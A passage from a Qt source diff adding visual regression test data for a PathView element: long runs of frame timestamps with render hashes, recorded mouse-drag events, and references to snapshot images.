"57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6960 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6976 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 6992 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 7008 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 7024 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 7040 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 7056 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 7072 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 7088 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 7104 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 7120 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 7136 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 7152 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 7168 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 7184 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 7200 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 7216 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 7232 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 7248 + hash: "57269234dc01b66f6aeb841c328c06b5" + } + Frame { + msec: 7264 + hash: "57269234dc01b66f6aeb841c328c06b5" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.0.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.0.png new file mode 100644 index 0000000..442ba9f Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.1.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.1.png new file mode 100644 index 0000000..a9ff20f Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.2.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.2.png new file mode 100644 index 0000000..157bb99 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.3.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.3.png new file mode 100644 index 0000000..8c49acb Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.4.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.4.png new file mode 100644 index 0000000..eb2bf54 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.qml b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.qml new file mode 100644 index 0000000..8cff5c6 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.qml @@ -0,0 +1,1495 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 32 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 48 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 64 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 80 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 96 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 112 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 128 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 144 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 160 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 176 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 192 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 208 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 224 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 240 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 256 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 272 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 288 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 304 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 320 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 336 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 352 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 368 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 384 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 400 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 416 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 432 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 448 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 464 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 480 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 496 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 512 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 528 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 544 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 560 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 576 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 592 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 608 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 624 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 640 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 656 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 672 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 688 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 704 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 720 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 736 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 752 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 768 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 784 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 800 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 816 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 832 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 848 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 864 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 880 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 896 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 912 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 928 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 944 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 960 + image: "test-pathview.0.png" + } + Frame { + msec: 976 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 992 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 1008 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 1024 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 1040 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 1056 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 1072 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 1088 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 1104 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 1120 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 1136 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 734; y: 177 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1152 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Frame { + msec: 1168 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 732; y: 177 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1184 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 726; y: 179 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1200 + hash: "89bb697bb7b7fab38d3ff56e23e43959" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 716; y: 183 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1216 + hash: "42c141399fda1cbb2ae117788d87092a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 700; y: 190 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1232 + hash: "4d44343eb91838e3eb73e2e5326b5ac2" + } + Frame { + msec: 1248 + hash: "4d44343eb91838e3eb73e2e5326b5ac2" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 677; y: 200 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1264 + hash: "15aaccb4f7961a4e3e6fe57260779d00" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 651; y: 209 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1280 + hash: "5628fa3ac9893f5c9690013aad4b881a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 619; y: 219 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1296 + hash: "384db58b6de773ac39ae81e6af4d547d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 579; y: 229 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1312 + hash: "2a15a27a138b9d3d646b827d026e8843" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 535; y: 237 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 535; y: 237 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1328 + hash: "098176f48a148eb2bc5ef67c307baa1c" + } + Frame { + msec: 1344 + hash: "f838ab4301bf9d3106cec529f855cecd" + } + Frame { + msec: 1360 + hash: "9725322067a04f83717b059d4970d610" + } + Frame { + msec: 1376 + hash: "3605cfbebc3a9eb4460efb2d4b9b6da2" + } + Frame { + msec: 1392 + hash: "4503a368d8db25d112503dbc3934541d" + } + Frame { + msec: 1408 + hash: "80894cc06c82264bf527398ea235da12" + } + Frame { + msec: 1424 + hash: "d4f9b90f886fc667309b33c9a296410c" + } + Frame { + msec: 1440 + hash: "889d01025cff679b61bff182a1ac9cbc" + } + Frame { + msec: 1456 + hash: "6147bc4455e7cb5ae55cd47be8dc4ad6" + } + Frame { + msec: 1472 + hash: "ddd10a294eb6b19698c4e9fe4f1508fe" + } + Frame { + msec: 1488 + hash: "748e8d9c1971f6258acee5133b7f114b" + } + Frame { + msec: 1504 + hash: "1ef3f32ec9ef950588266bacbe3554a0" + } + Frame { + msec: 1520 + hash: "57853ff47b65aba9e76f90b2efec4f8f" + } + Frame { + msec: 1536 + hash: "3985fea21d89d223c1461d5e96364c76" + } + Frame { + msec: 1552 + hash: "cb5f6a3caeeaed12e91efe43867f2c1f" + } + Frame { + msec: 1568 + hash: "cdd4176776d5969373e0fc9a117e3c87" + } + Frame { + msec: 1584 + hash: "3bac2e7506472db2ae11734240f1c3f4" + } + Frame { + msec: 1600 + hash: "bb572659d79ebda7134c039e40cf2633" + } + Frame { + msec: 1616 + hash: "e610181bfa17a85281f9c7417088f04f" + } + Frame { + msec: 1632 + hash: "eb23ff021909589b6d8ce47ebff2c3ed" + } + Frame { + msec: 1648 + hash: "c321dda3878c4b97cc63246c47368224" + } + Frame { + msec: 1664 + hash: "6a65cdfd50e1455356040d4cbc09905e" + } + Frame { + msec: 1680 + hash: "f2a44b12e4e5bae8283c4d227949e4e8" + } + Frame { + msec: 1696 + hash: "55418d661f3257b5b79a7dbb172b5b70" + } + Frame { + msec: 1712 + hash: "483d7111c86951918746d6ebe0dd9655" + } + Frame { + msec: 1728 + hash: "85c83ac3a294a9320bb04a6721ecf7d5" + } + Frame { + msec: 1744 + hash: "0d658b897b8e03397ddd8ffe475c2fc0" + } + Frame { + msec: 1760 + hash: "6ed9d7ea344b3c1b1d9196ee36b2f89a" + } + Frame { + msec: 1776 + hash: "6a1e7f6c03769c2c88e6343fb6c1a2a4" + } + Frame { + msec: 1792 + hash: "9dc51f46e072eac4494d7318f2ecb39b" + } + Frame { + msec: 1808 + hash: "59e833981c3fcd8a71f4a16d1c454b3a" + } + Frame { + msec: 1824 + hash: "29b953efdda00548d8cf6fb49fa60d13" + } + Frame { + msec: 1840 + hash: "fd4611f703f94ebefcc64781993ca85c" + } + Frame { + msec: 1856 + hash: "aa4789ede618963157b40f099ce84987" + } + Frame { + msec: 1872 + hash: "8a326b46ec536a67626ee2d2bc06aa9f" + } + Frame { + msec: 1888 + hash: "011ff557672d47591e4f0f5c5ee418f1" + } + Frame { + msec: 1904 + hash: "d72fba857bdc128ddcb5971b86aadcb2" + } + Frame { + msec: 1920 + image: "test-pathview.1.png" + } + Frame { + msec: 1936 + hash: "49182b7ae9ef5fb4b9234969abd05960" + } + Frame { + msec: 1952 + hash: "53de60f682574b7a9e6ffaee175fc9ff" + } + Frame { + msec: 1968 + hash: "2de74fe5b8848c5c781b796146871f45" + } + Frame { + msec: 1984 + hash: "33c87146d8c24dd9c2271d16a8ff5b53" + } + Frame { + msec: 2000 + hash: "fdb29214e20d744d9776907061f50358" + } + Frame { + msec: 2016 + hash: "8c7c920416c9b775e790e6da24c32927" + } + Frame { + msec: 2032 + hash: "86b456059e4701379447fffaf9e072f0" + } + Frame { + msec: 2048 + hash: "f92cc485ee03ef5bce3c4cdc35e00318" + } + Frame { + msec: 2064 + hash: "2fad58883cb20273cfd79ebca345a66d" + } + Frame { + msec: 2080 + hash: "84505ebbc6e12817f11f64aa6f61a0bf" + } + Frame { + msec: 2096 + hash: "ded83cacb89838cc0f3ba14bcc69b66b" + } + Frame { + msec: 2112 + hash: "5bb37e75bb45eaa6067c604b83ae13d7" + } + Frame { + msec: 2128 + hash: "4ee9e4c90c40dbc25a0ce884d9c2c37f" + } + Frame { + msec: 2144 + hash: "cb7148ff6f611038c29af36c8552b8c2" + } + Frame { + msec: 2160 + hash: "a591d8cb42570272dd264d5f1ce595ab" + } + Frame { + msec: 2176 + hash: "4e61657405d32dbcd39d3637f8af0958" + } + Frame { + msec: 2192 + hash: "9c7c1411dd5d3c1c8fb78e63e14061fe" + } + Frame { + msec: 2208 + hash: "ae83a37e99b578fa0872ed6bc2776bc0" + } + Frame { + msec: 2224 + hash: "e8cb5a8a40c1e78c87c616f77d8de270" + } + Frame { + msec: 2240 + hash: "9df093e4bcfa32be5924a0ca70bdaa3b" + } + Frame { + msec: 2256 + hash: "40c358066d508143bee1446d12fe7b89" + } + Frame { + msec: 2272 + hash: "a929ed6efc7fc68b38635f3c74242f52" + } + Frame { + msec: 2288 + hash: "86ff721a3178b689ea47b6bc274a2b41" + } + Frame { + msec: 2304 + hash: "ed1f680f6d05f54ceb75c9bae3a0716a" + } + Frame { + msec: 2320 + hash: "3f09a565df2beb51f366a1b3fb6adfe9" + } + Frame { + msec: 2336 + hash: "13468347bd26bab60f1db826fb17631c" + } + Frame { + msec: 2352 + hash: "9f7d085fea5788a457098973f17c36cb" + } + Frame { + msec: 2368 + hash: "4114b93246155b3434200831b2995330" + } + Frame { + msec: 2384 + hash: "487171bd1430f74e3d51b5e215c34b5c" + } + Frame { + msec: 2400 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2416 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2432 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2448 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2464 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2480 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2496 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2512 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2528 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2544 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2560 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2576 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2592 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2608 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2624 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2640 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2656 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2672 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2688 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2704 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2720 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2736 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2752 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2768 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2784 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2800 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2816 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2832 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2848 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2864 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2880 + image: "test-pathview.2.png" + } + Frame { + msec: 2896 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2912 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2928 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2944 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2960 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2976 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 2992 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 3008 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 3024 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 3040 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 3056 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 3072 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 3088 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 728; y: 181 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3104 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 3120 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Frame { + msec: 3136 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 727; y: 181 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3152 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 723; y: 181 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3168 + hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 717; y: 184 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3184 + hash: "6dcec6cdaa35eba74607ba64d6ea2ec0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 705; y: 188 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3200 + hash: "16b7b4847fe86b25d8d6136106a4c400" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 686; y: 197 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3216 + hash: "d946d55b19c99fa25bf1c04f2b71026a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 661; y: 207 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3232 + hash: "96f40f5071365cde769c733fd1ef5a24" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 626; y: 221 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3248 + hash: "7004058b95b7eab3ebba5c80c0923982" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 582; y: 235 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3264 + hash: "2c78880237c414182f97f1709f1eef0f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 532; y: 246 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3280 + hash: "c90a15ec9f88008ca8b0ec0185444d71" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 532; y: 246 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3296 + hash: "c90a15ec9f88008ca8b0ec0185444d71" + } + Frame { + msec: 3312 + hash: "36461e2a4cd860cac32223b8ee73c657" + } + Frame { + msec: 3328 + hash: "5f9b3ad9202fb02a4c6fea28c248ad22" + } + Frame { + msec: 3344 + hash: "d0d23c4e1ddb2d9ffa0ecc38030ae15c" + } + Frame { + msec: 3360 + hash: "8e2e2d3eaf557c453f34016b6614e495" + } + Frame { + msec: 3376 + hash: "7402c747fa7276293a0a72d48d342782" + } + Frame { + msec: 3392 + hash: "6090c30e4d722a32c083a25171fb11ff" + } + Frame { + msec: 3408 + hash: "f770d940cf287fec4b0803f7310292a8" + } + Frame { + msec: 3424 + hash: "558e4ce32df69357b70a8285b00fe347" + } + Frame { + msec: 3440 + hash: "8814168503c9a72ea8d3fa1e503f33d9" + } + Frame { + msec: 3456 + hash: "6f5513d22e545096fadc6f5c4112902e" + } + Frame { + msec: 3472 + hash: "43f11d8ac16fd3e8199e555528817e14" + } + Frame { + msec: 3488 + hash: "d64bafdbd26878a323dae918d5e0a36d" + } + Frame { + msec: 3504 + hash: "1c70bdddfc3751ae3864f008170f8b06" + } + Frame { + msec: 3520 + hash: "bb7a18691fcd371e9d382b5bba4a0573" + } + Frame { + msec: 3536 + hash: "547e15f5dea2d9aa3ed44640b25028b9" + } + Frame { + msec: 3552 + hash: "c11b86a256fac6be10b9a54564903d6f" + } + Frame { + msec: 3568 + hash: "0ada2dc586894d5e37de2632d2b37b15" + } + Frame { + msec: 3584 + hash: "0ae1a39ea196a0e734d80dbdea67b285" + } + Frame { + msec: 3600 + hash: "3cb70e64f9ab8aad841326dc2d2f1615" + } + Frame { + msec: 3616 + hash: "a8f8b5ff19df9163ea628b589b675a5e" + } + Frame { + msec: 3632 + hash: "26fcc73f477db0ea731bc18b00b4c791" + } + Frame { + msec: 3648 + hash: "8702e49f3f26e1e21970e78c8aa4040a" + } + Frame { + msec: 3664 + hash: "1a482a39d02779d8733e348b713f2312" + } + Frame { + msec: 3680 + hash: "c728cc4a8e4d0a8d983514f86a92eae0" + } + Frame { + msec: 3696 + hash: "82360ab373b08bf6a5d9e9ea9d0d18aa" + } + Frame { + msec: 3712 + hash: "6231a4bce6cfc1e26a9606cc041acdbc" + } + Frame { + msec: 3728 + hash: "6e3b48862fc749f15aa2dec1c17d1de0" + } + Frame { + msec: 3744 + hash: "6c9e79a5692a3810b2a9058790f54cd7" + } + Frame { + msec: 3760 + hash: "0652c67fedda0d5e55858ddefff2da9e" + } + Frame { + msec: 3776 + hash: "3b058c0efeb3a9da54a1de72a1792a83" + } + Frame { + msec: 3792 + hash: "96e6fb39c8dbfe4a00bf116bf80aac4d" + } + Frame { + msec: 3808 + hash: "979c0c78c41e0f337cfe1b384fbbe51a" + } + Frame { + msec: 3824 + hash: "8be0d6987a6d12864f30336b249e4b16" + } + Frame { + msec: 3840 + image: "test-pathview.3.png" + } + Frame { + msec: 3856 + hash: "31e665f804a52a4dc88eab5dba78ae5a" + } + Frame { + msec: 3872 + hash: "b7d4cf5a6a3ac79da3be101b50b38bc2" + } + Frame { + msec: 3888 + hash: "559b1b8467b611cdeb7f2ae660e3bf51" + } + Frame { + msec: 3904 + hash: "66abb5af85e793569382efb04744d0de" + } + Frame { + msec: 3920 + hash: "b64eff8bbea5a953d146333363825724" + } + Frame { + msec: 3936 + hash: "47b794c971c4d47baf15e1d63d65ac03" + } + Frame { + msec: 3952 + hash: "b3882fa14f3cb7428c660737656d7ea2" + } + Frame { + msec: 3968 + hash: "a6bd71c7d3a0f3f53674ea8e1334e560" + } + Frame { + msec: 3984 + hash: "0926d3cd53aabb789686e34d91ef23dc" + } + Frame { + msec: 4000 + hash: "914c4fa7264111b4a42c82a60701d652" + } + Frame { + msec: 4016 + hash: "84c1fa22440a61126b79c38605b6f9ca" + } + Frame { + msec: 4032 + hash: "b684fcf9f4725cfc02af0187454dfaf8" + } + Frame { + msec: 4048 + hash: "2e94c1ca74af4eb836a0c505d131f263" + } + Frame { + msec: 4064 + hash: "5f04912674e1bcdb16176976d10ce995" + } + Frame { + msec: 4080 + hash: "aaf0bcef4a15aa1c699eaa1ce817c8ed" + } + Frame { + msec: 4096 + hash: "97fd5bdcfa367191fbd3689658ab3273" + } + Frame { + msec: 4112 + hash: "d76d6c59411636a0e9ac2e0c847b3fe3" + } + Frame { + msec: 4128 + hash: "9cb88a76c962623b1a9cf4e7093d6e54" + } + Frame { + msec: 4144 + hash: "ec3d7075680296905b1bdd6fdd9fcc40" + } + Frame { + msec: 4160 + hash: "43c70dabc45ed059e8b876eb2ba5c66e" + } + Frame { + msec: 4176 + hash: "8f97ca5c3092a20009c5d00139105a22" + } + Frame { + msec: 4192 + hash: "d0f225d4b03495218f7916698e254338" + } + Frame { + msec: 4208 + hash: "f8725467353a8f27bc5570af157c93c7" + } + Frame { + msec: 4224 + hash: "749c8ca5c0a7774c81805b792e6b70e3" + } + Frame { + msec: 4240 + hash: "d353c4a8a5eecb1dce30f4a5b85b1ef4" + } + Frame { + msec: 4256 + hash: "a7105f3f1ddace730d0b4a12a3560208" + } + Frame { + msec: 4272 + hash: "918f480af8a35f6074ff1e202dae2660" + } + Frame { + msec: 4288 + hash: "ed98d08eb30db1b41aaf2a58f3b59398" + } + Frame { + msec: 4304 + hash: "c362cf053b3749a44d1fc33483f9952b" + } + Frame { + msec: 4320 + hash: "9b01b2c771ef86ff4a8ee3f6a4676e3c" + } + Frame { + msec: 4336 + hash: "70ccec3c9db95206b5589d43dcd52b13" + } + Frame { + msec: 4352 + hash: "57e7397c6aadd0d4d5c9d9d5fcdd8fde" + } + Frame { + msec: 4368 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4384 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4400 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4416 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4432 + hash: "299b24eae7720e1711744b23335bca8c" + } + Frame { + msec: 4448 + hash: "299b24eae7720e1711744b23335bca8c" 